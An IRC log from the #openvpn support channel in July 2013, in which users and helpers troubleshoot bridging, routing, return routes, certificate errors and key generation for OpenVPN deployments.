13:36 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 245 seconds]
13:43 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
13:50 < midacts> when creating a certificate, and it asks for a "challenge password" - is it best to leave this blank?
13:51 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
13:52 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:53 -!- MadMerlin|work_ [~neil@206-248-184-9.dsl.teksavvy.com] has joined #openvpn
14:02 < MadMerlin|work_> i'm setting up a tap mode vpn here and everything is working except openvpn is not forwarding traffic from the client through to the bridge until i see this in the logs on the server: "MULTI: Learn: 96:93:40:ea:ac:d9 -> vpn210/192.168.122.116:1194"
14:03 < MadMerlin|work_> and that seems to take anywhere from 15-50 seconds
14:03 < MadMerlin|work_> is there a reason this is happening and can i make it forward traffic right away?
14:07 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
14:07 <+pekster> MadMerlin|work_: Are you perhaps using STP or something on the bridge where it enters the "learning" phase to build a view of the bridge topology before it forwards?
14:07 -!- Synthead [~max@m9e2636d0.tmodns.net] has quit [Ping timeout: 245 seconds]
14:07 <+pekster> Also,
14:07 <+pekster> !whybridge
14:07 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
14:07 <+pekster> Don't bridge unless you need it
14:07 < MadMerlin|work_> stp is off on the bridge
14:08 < MadMerlin|work_> i'm bridging two subnets together, including layer 2 traffic
14:09 < MadMerlin|work_> i double checked the system logs for any stp messages (tap entering forwarding state, etc) and there are none
14:13 < michaelhart> i'm using openvpn to give staff access to a remote network. What do I lose in terms of security if I depend on two-factor authentication (hardware tokens and radius backend) and set client-cert-not-required on the server?
14:14 < michaelhart> The only thing I can think of is I can't revoke client certs… but I can reset passwords or revoke tokens, which results in the same thing, client can't connect.
14:16 -!- nutron|w [~nutron@184.68.34.30] has joined #openvpn
14:19 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 256 seconds]
14:21 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
14:56 < MadMerlin|work_> seems that if i manually set the ip rather than using dhcp on the client, it "learns" right away
14:57 < kisom> michaelhart: You lose the TLS authentication, since the server does not validate that the client has a certificate signed by your CA
14:59 < kisom> michaelhart: In other words, anyone can connect to your server and try logging in to your radius backend
14:59 < michaelhart> kisom: thank you, that is a good point, hadn't thought of that.
15:05 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
15:15 -!- Denial [Denial@90.202.26.221] has quit []
15:19 -!- master_o1_master [~master_of@p4FF24C52.dip0.t-ipconnect.de] has joined #openvpn
15:20 -!- master_of_master [~master_of@p4FF24C52.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
15:39 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
16:00 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:01 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:02 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Read error: Operation timed out]
16:02 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
16:03 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 245 seconds]
16:04 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
16:07 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
16:23 -!- byte48 [~byte48@unaffiliated/byte48] has joined #openvpn
16:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:40 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit []
16:40 -!- Synthead [~max@m9e2636d0.tmodns.net] has joined #openvpn
16:40 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
16:41 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Client Quit]
16:42 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
16:56 -!- Synthead [~max@m9e2636d0.tmodns.net] has quit [Ping timeout: 245 seconds]
16:57 -!- Synthead [~max@m9e2636d0.tmodns.net] has joined #openvpn
17:12 -!- Synthead [~max@m9e2636d0.tmodns.net] has quit [Ping timeout: 245 seconds]
17:13 -!- Synthead [~max@m9e2636d0.tmodns.net] has joined #openvpn
17:19 -!- Synthead [~max@m9e2636d0.tmodns.net] has quit [Ping timeout: 245 seconds]
17:20 -!- Synthead [~max@m9e2636d0.tmodns.net] has joined #openvpn
17:28 <@krzee> EugeneKay, you were right, i totally should have used electroshock
17:28 <@krzee> i got it all working, so far
17:29 <@krzee> last step for the router cannot be engaged yet since it's an ospf setup and one of the needed links is down
17:29 <@krzee> but all that crazy source route stuff is handled
17:30 <+EugeneKay> Yay
17:30 <@krzee> i ended up accomplishing the 'not' like this
17:30 <@krzee> ip rule add from 192.168.0.0/24 to 10.0.0.0/8 table main
17:30 <@krzee> ip rule add from 192.168.0.0/24 to 0/0 table dsl
17:30 <+EugeneKay> !eugenekay
17:30 <@vpnHelper> "eugenekay" is right because EugeneKay is always right.
17:30 <@krzee> EugeneKay++
17:31 <@krzee> thanks dude, that was a pita
17:32 <+EugeneKay> That sounds right
17:32 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
17:32 <@krzee> but that quick lil synopsis you gave me was invaluable
17:32 <+EugeneKay> Sure thing
17:32 <@krzee> when you said it was *my* ip, that changed everything
17:40 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:44 <@krzee> !beer
17:44 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
17:45 <@krzee> i would like to note how much easier this setup was when i was running freebsd
17:48 -!- surfhai1 [~tg@pD9E22A54.dip0.t-ipconnect.de] has quit [Quit: Leaving.]
17:50 -!- Muffins [~nanderson@69.146.233.50] has quit [Read error: Connection reset by peer]
17:53 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:06 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
18:47 -!- master_o1_master [~master_of@p4FF24C52.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
18:51 -!- master_of_master [~master_of@p4FF24C38.dip0.t-ipconnect.de] has joined #openvpn
18:53 -!- Synthead [~max@m9e2636d0.tmodns.net] has quit [Ping timeout: 245 seconds]
19:01 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:38 -!- raidz is now known as raidz_away
19:42 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
19:50 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has joined #openvpn
19:50 < Tirili> Hi EugeneKay
19:50 < Tirili> and others
19:50 < Tirili> :D
19:51 <+EugeneKay> Shoudl I know you?
19:51 < Tirili> Yesterday I set up a tun connection between my laptop in my dormitory and my home lan
19:51 < Tirili> You helped me yesterday
19:51 < Tirili> Yes, you should! :D
19:51 < Tirili> I have question
19:51 <+EugeneKay> I wasn't drinking yesterday, so nope. :-p
19:52 <+EugeneKay> Ask away though
19:52 < Tirili> When I do ip show route
19:52 < Tirili> one line is this:
19:52 < Tirili> 10.8.0.5 dev tun0  proto kernel  scope link  src 10.8.0.6
19:52 < Tirili> What does it mean?
19:52 <+EugeneKay> !/30
19:52 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
19:53 < Tirili> Let me see
19:54 -!- nickmoec1 [~nickmoeck@204.12.219.210] has joined #openvpn
19:57 < nickmoec1> This is probably a stupid question, but... let's say I have an OpenVPN server at Location A, and clients at Location B and Location C.  Is openvpn "intelligent" enough to for clients at Location B and C to communicate without actually going through the server at Location A ?
19:59 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
20:03 < Dar1us> nickmoec1: no
20:03 < Dar1us> it is only point to point
20:03 < Dar1us> not a mesh
20:03 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
20:04 < nickmoec1> Dar1us: thanks, I was hoping maybe there was a config option that I was just missing or something, but I guess not. Are you aware of any other VPN software (free software preferred) that can do this?
20:06 < Dar1us> no idea sorry
20:07 < nickmoec1> Thank you for your time, Dar1us :) Back to google for me
20:17 < Tirili> EugeneKay: After running "echo 1 > /proc/sys/net/ipv4/ip_forward" on my open vpn server in my homelan, do I have to reboot it to forward packages from my vpn client into the homelan?
20:19 < Tirili> Because I get no signal back when I try to ping another machine (192.168.0.1) which is in the homelan.
20:19 < Tirili> Maybe it is, because that other machine does not know a route back to my vpn client?
20:25 < Tirili> Yes, it was the reason. It works now after setting up a static route from 192.168.0.1 to 10.8.0.0/24 via the openvpn server.
20:38 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has quit [Quit: ChatZilla 0.9.90.1 [SeaMonkey 2.17.1/20130416191757]]
21:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:03 -!- Rahoul [~nicolas@181.46.227.180] has joined #openvpn
21:04 < Rahoul> hi what is the proper syntax for ip route command (policy based routing) to add a whole subnet to a table? ip route add from 10.1.1.0/24 does not seem to work. Thanks.
21:05 < rob0> does it need to be routed via a gateway? If so you need "via other.ip.add.ress" on there, where you have an existing route to other.ip.add.ress
21:06 < rob0> since you're asking this in #openvpn I bet you want to route it via your VPN peer
21:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:15 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
21:22 -!- emid [~emid@192.241.138.149] has quit [Ping timeout: 248 seconds]
21:23 < Rahoul> rob0: thanks
21:23 -!- Rahoul [~nicolas@181.46.227.180] has quit [Quit: Konversation terminated!]
21:24 -!- emid [~emid@192.241.138.149] has joined #openvpn
21:48 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 252 seconds]
21:52 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:18 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Read error: Operation timed out]
22:19 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
22:19 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 248 seconds]
22:22 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
22:24 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:24 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 240 seconds]
22:52 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 252 seconds]
22:59 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:36 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:41 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
23:41 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
23:46 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Client Quit]
--- Day changed Tue Jul 16 2013
00:08 -!- ||arifaX_ [~||arifaX@tmo-097-149.customers.d1-online.com] has joined #openvpn
00:08 -!- ||arifaX_ [~||arifaX@tmo-097-149.customers.d1-online.com] has quit [Client Quit]
00:43 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
00:43 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
00:44 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 240 seconds]
00:44 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
00:44 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 240 seconds]
00:48 -!- trumee [~parul@93.186.144.251] has quit [Read error: Connection reset by peer]
00:49 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
00:50 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:52 -!- cj_ [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
00:53 -!- trumee [~parul@93.186.144.251] has joined #openvpn
00:57 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
01:04 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 246 seconds]
01:06 -!- JAVACODER [~JAVACODER@2.190.33.89] has joined #openvpn
01:06 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:06 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:06 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:27 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
01:44 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:05 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:30 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 260 seconds]
02:37 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
02:40 -!- monk [~aknm@196.14.139.96] has joined #openvpn
02:40 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
02:40 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
02:42 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
02:44 -!- abyss [~abyss@i-free.pl] has joined #openvpn
02:57 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
03:03 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
03:18 -!- kirin` [telex@gateway/shell/anapnea.net/x-vyiiqimzqkgobzcl] has quit [Remote host closed the connection]
03:19 -!- kirin` [telex@gateway/shell/anapnea.net/x-fyhcquavgspqpmlm] has joined #openvpn
03:31 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 276 seconds]
03:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:44 -!- majuscule [~dylan@dylansserver.com] has quit [Read error: Operation timed out]
03:46 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 240 seconds]
03:47 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
03:48 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:06 -!- akv [~akv@gw.cego.dk] has joined #openvpn
04:09 < akv> !welcome
04:09 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
04:09 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:10 < akv> Is it possible somehow to assign IP ranges via ccd for specific users? I don't wanna use fixed IPs because we sometimes need multiple connections for each CN, but I still need my network segmented after what kind of user is connecting (developer, supporter, sysadm and such)... any good ideas?
04:21 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
04:22 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
04:22 -!- mattock is now known as mattock_afk
04:25 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 240 seconds]
04:27 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 240 seconds]
04:28 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
04:39 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
04:41 -!- Willis [Willis@173.234.237.131] has joined #openvpn
04:46 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
04:57 -!- dazo_afk is now known as dazo
05:04 < kisom> akv: You can assign a range by writing your own connect scripts.
05:18 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
05:19 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
05:23 -!- Willis [Willis@173.234.237.131] has joined #openvpn
05:33 -!- fischli [~fischli@data.fischer-ing.de] has quit [Remote host closed the connection]
05:34 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
05:41 -!- Denial [Denial@90.202.26.221] has joined #openvpn
05:47 -!- ronnocol_ [~lance@mail.ronnoco.net] has quit [Remote host closed the connection]
05:51 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
05:52 -!- troj [~xxx@94.242.205.4] has quit [Ping timeout: 260 seconds]
05:52 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
05:53 -!- troj [~xxx@94.242.205.4] has joined #openvpn
05:57 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
06:09 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Quit: No Ping reply in 180 seconds.]
06:10 -!- TomM [carrot@unaffiliated/tommehm] has joined #openvpn
06:56 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
06:56 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 276 seconds]
06:56 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 276 seconds]
06:57 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:57 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
06:59 -!- Willis [Willis@173.234.237.131] has joined #openvpn
07:08 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
07:09 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:18 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:37 < xTz> TLS_ERROR: BIO read tls_read_plaintext error: error:1408E098:SSL routines:SSL3_GET_MESSAGE:excessive message size
07:37 < xTz> using 8k
07:37 < xTz> :@
07:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:54 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
07:57 -!- and` [~averi@debian/developer/and] has joined #openvpn
07:59 < and`> hi, I'm in the middle of setting up an openvpn istance with the 'routing' mode, I'm currently able to ping the vpn's endpoint (which is binded to the 10.8.0.0/24 network) and I'm also able to ssh into the machine where openvpn runs by using the internal's network ip (binded to the 172.31.1.0/24 network) but I'm not able to ssh into any other machine under the same internal network as the machine that runs openvpn
07:59 < and`> any idea about what might be missing?
08:01 < Dar1us> and`: IP packet forwarding
08:03 < and`> Dar1us: I did add all the relevant iptables rules for the forwarding to work as expected, specifically: http://fpaste.org/25650/13739797/
08:04 < and`> where eth1 is the internal network interface, and eth0 the one binded to a public ip
08:04 < Dar1us> not sure then sorry, I don't know how to read iptables :)
08:15 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
08:19 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 240 seconds]
08:19 -!- michaelhart_ is now known as michaelhart
08:20 -!- JAVACODER [~JAVACODER@2.190.33.89] has left #openvpn ["JAVACODER"]
08:32 < midacts> Is there anything that can be done to increase the security when using openvpn?  would you use dh2048 instead of dh1024? would you use a better cipher, etc
08:46 < kisom> midacts: Use more bits in all encryption algorithms and use tls-auth
08:46 < kisom> That's pretty much it
08:47 <@dazo> midacts: of course increasing the DH parameter length will have some kind of impact, but using adding --tls-auth and using an encryption algorithm with 256 bits and issue certificates with public keysizes > 2048bits are probably giving a better effect right away
08:50 <@dazo> and`: that probably makes a lot of sense ... but it also depends on if you have rules before or after this block as well ... in addition to what the default policy for the FORWARD chain is
08:52 < and`> dazo: I did monitor tun0 with tcpdump on other machines on the lan and I can see the packets coming
08:52 < and`> but they aren't acked it seems
08:52 < and`> so they are being routed correctly it seems
08:53 <@dazo> not necessarily .... what does tcpdump show when you look at eth1 (if you ping a box on the internal network)
08:55 < and`> dazo: 13:55:26.139127 IP 10.8.0.2 > machine-name: ICMP echo request, id 12791, seq 16, length 64
08:55 <@dazo> and no return?
08:56 < and`> nope
08:56 < and`> --- 172.31.1.48 ping statistics ---
08:56 < and`> 61 packets transmitted, 0 received, 100% packet loss, time 60005ms
08:56 <@dazo> I mean in tcpdump
08:56 <@dazo> But this is most likely your issue ... either that box got firewalling *or* (most likely) that box doesn't have a proper return route
08:57 < and`> no, no return on tcpdump
08:57 <@dazo> I'm guessing your setup looks like something like this:  https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#UsingroutingandOpenVPNnotrunningonthedefaultgateway
08:57 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
08:57 < Aketzu> do the clients where you are tring to connect have proper return route?
08:58 < and`> Aketzu: didn't touch anything in particular on the lan's clients themselves
08:59 < and`> dazo: I feel some action is needed on the router itself
09:00 < and`> so that all clients are aware they should route 10.8.0.0 properly
09:00 <@dazo> and`: read that URL I pointed you at
09:00 < midacts> Is there a way to have a client contact the CA and then have the CA sign their cert before they can access the VPN, similar to how Puppet signs puppet agent certs.
09:01 <@dazo> and`: and you didn't respond if I guessed right ... that your openvpn server is inside the lan, not part of the default gateway route
09:01 < and`> dazo: yeah, sorry, the openvpn server is indeed inside the lan itself
09:01 -!- akv [~akv@gw.cego.dk] has left #openvpn []
09:02 <@dazo> midacts: nope, nobody done that ... and I wouldn't really recommend it, though .... client certificates shouldn't get easily signed .... but you might consider to use --client-cert-not -required on the server though
09:03 < and`> dazo: some action is needed on the default gateway then, I'll poke the relevant folks for doing that and report back
09:04 < midacts> I had it so my openvpn server created the certs then I scp'ed the certs to the clients
09:04 < midacts> is that secure enough?
09:04 < and`> dazo: or if I can't get that done, I'll just hack iptables on each client
09:05 < and`> I have no access to the default gateway unfortunately
09:05 <@dazo> nope, you add a return route on those clients
09:05 <@dazo> so that they route your VPN network via your OpenVPN server
09:11 < and`> dazo: it worked like a charm
09:11 <@dazo> Told'ya! ;-)
09:11 < and`> now I should figure out how add a static route on puppet and that should be it :)
09:11 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
09:11 < and`> dazo: thanks a lot! :-)
09:12 < and`> dazo: not sure if you are a GNOME user, but if you're planning to come to GUADEC this year, I'll offer you a few beers ;)
09:13 <@dazo> and`: I'm a GNOME user, but not a hard-core one who goes to GUADEC .... :p
09:14 < and`> dazo: :-) allright, thanks a lot again!
09:15 <@dazo> and`: if you hear of people working on the NetworkManager-openvpn plug-in .... then kick them over here so we can figure out the IPv6 support ;-)
09:15 < and`> dazo: sure! I do know a good bunch of them :)
09:15 <@dazo> perfect!
09:15 < and`> dazo: I'll make sure they'll be aware :)
09:16 <@dazo> we have some more changes in the pipe as well, so they probably should check up with us before starting hacking though
09:17 -!- _quadDam1ge is now known as _quadDamage
09:18 < and`> dazo: I'll join the channel when I find some time during the event and poke you ;)
09:19 <@dazo> goodie!
09:19 < and`> :-)
09:23 -!- pnielsen_ is now known as pnielsen
09:36 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
09:40 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
09:44 -!- mirco [~mirco@p5080460A.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- moxie [~moxie@gateway/tor-sasl/moxie] has joined #openvpn
09:45 < moxie> what is with the openvpn 'connect client'
09:47 < moxie> OpenVPN connect client and desktop client link to the same thing...
09:47 < moxie> why are there two choices of the same thing...
09:47 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:48 -!- HyperGli_ [~HyperGlid@110.188.49.188] has joined #openvpn
09:51 < rob0> I'm not sure what you mean. What OS do you use? Most GNU/Linux distros include openvpn.
09:51 < moxie> windows
09:51 < moxie> the client looks totally different than it looked two weeks ago
09:52 < moxie> and there are two links but only one software with two names
09:52 < rob0> maybe you are looking at the commercial software and not the GPL version?
09:52 < moxie> where is the GPL version
09:52 <@krzee> !download
09:52 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
09:52 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
09:52 -!- mode/#openvpn [+v moxie] by krzee
09:53 <+moxie> thanks
09:54 <@krzee> nice work on the mschap stuff man
09:54 <+moxie> =]
09:54 <@krzee> ill admit i was a touch disapointed when whisper went away, but then i learned about the baseband exploit and it became moot
09:55 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
09:55 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
09:56 <+moxie> im getting some cert error...and i just generated these keys today
09:56 <@krzee> you generate them a few times?  make sure you copied the ca.crt to both sides (you can md5 or sha them to check)
09:57 <@krzee> !certverify
09:57 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
09:57 -!- Improv [~pgunn@dachte.org] has joined #openvpn
09:57 <@krzee> also be sure you dont have an issue with your time, ntpdate both sides to check
09:57 < Improv> Hi all, if I were to need to generate OpenSSL keys for OpenVPN very quickly and en masse, would a hardware RNG do the trick? If not, is anyone aware of hardware solutions that would let me generate many keys per second?
09:58 < midacts> What is the recommend way to get your sign openVPN certs from the CA to the client?
09:58 <@krzee> Improv, openvpn doesnt actually generate keys, you may want #openssl
09:58 <@krzee> midacts, pack mule
09:59 < Improv> krzee: Fair, although it is *for* OpenVPN and I was hoping people here might have experience trying to scale OpenVPN big and have answers to this.
09:59 < Improv> krzee: Still, maybe it's offtopic.
09:59 <@krzee> nah its on topic
09:59 <@krzee> you're free to ask it here, im just pointing out that you may want to refine your search terms and try #openssl as well, as the question really isnt about openvpn
10:00 < Improv> krzee: Fair enough, and in truth, I just asked there too.
10:00 <@krzee> =]
10:00 < Improv> Was hoping to be able to generate many keys/second suitable for OpenVPN
10:00 < Improv> :)
10:01 <@ecrist> easy-rsa can do batch operations
10:02 <+moxie> everything checks out
10:02 <@krzee> moxie,
10:02 <@krzee> !logs
10:02 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:02 < Improv> ecrist: I don't know if that'd help a lot with throughput.
10:03 <+EugeneKay> If you're doing something where generating many keys/second is important, you're approaching the problem wrong.
10:03 <@krzee> ^ that
10:03 <+moxie> unsupported certificate purpose
10:03 < Improv> EugeneKay: I work for a company that provides VPN as a service.
10:04 < Improv> EugeneKay: We have a *lot* of users.
10:04 <@krzee> moxie, o.O   how did you make your certs?
10:04 <+EugeneKay> Typically shared hosts like that will skip client certificates entirely
10:04 <+EugeneKay> TLS secures the tunnel just fine; do authentication on user+pass and call it a day
10:05 <+moxie> easy-rsa
10:05 <@krzee> EugeneKay, orly?  i disagree!
10:05 <+EugeneKay> (or use a shared client cert, which is.... oy)
10:05 < Improv> EugeneKay: I understand that that will limit the security available to each client? In that in the early stages of negotiation can be sniffed and followed?
10:05 <+EugeneKay> Yup, sure does. No mroe limiting than running thousands of clients through a single companies infrastructure does anyway
10:05 <@krzee> certs are good, but theres no reason you need many generated per second
10:05 <+EugeneKay> If people want actual security/privacy, openvpn from a provider is nto the way to go
10:06 <+moxie> i did the easy rsa commands...i dont know why it is saying this error
10:06 <@krzee> moxie, can you actually show me the logs?  you can strip IP info as its unimportant
10:06 < Improv> EugeneKay: I understand your perspective, but am not interested in being lectured to on the business model of my employer.
10:06 <+moxie> ill regen my keys
10:06 <@krzee> ok, or that
10:06 <@krzee> !pki
10:06 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
10:06 <@vpnHelper> signed specially as a server (see !servercert)
10:06 <+EugeneKay> You can still go ahead and create a bunch of keys/certs. It'll take you a while; you're basically limited by your PRNG
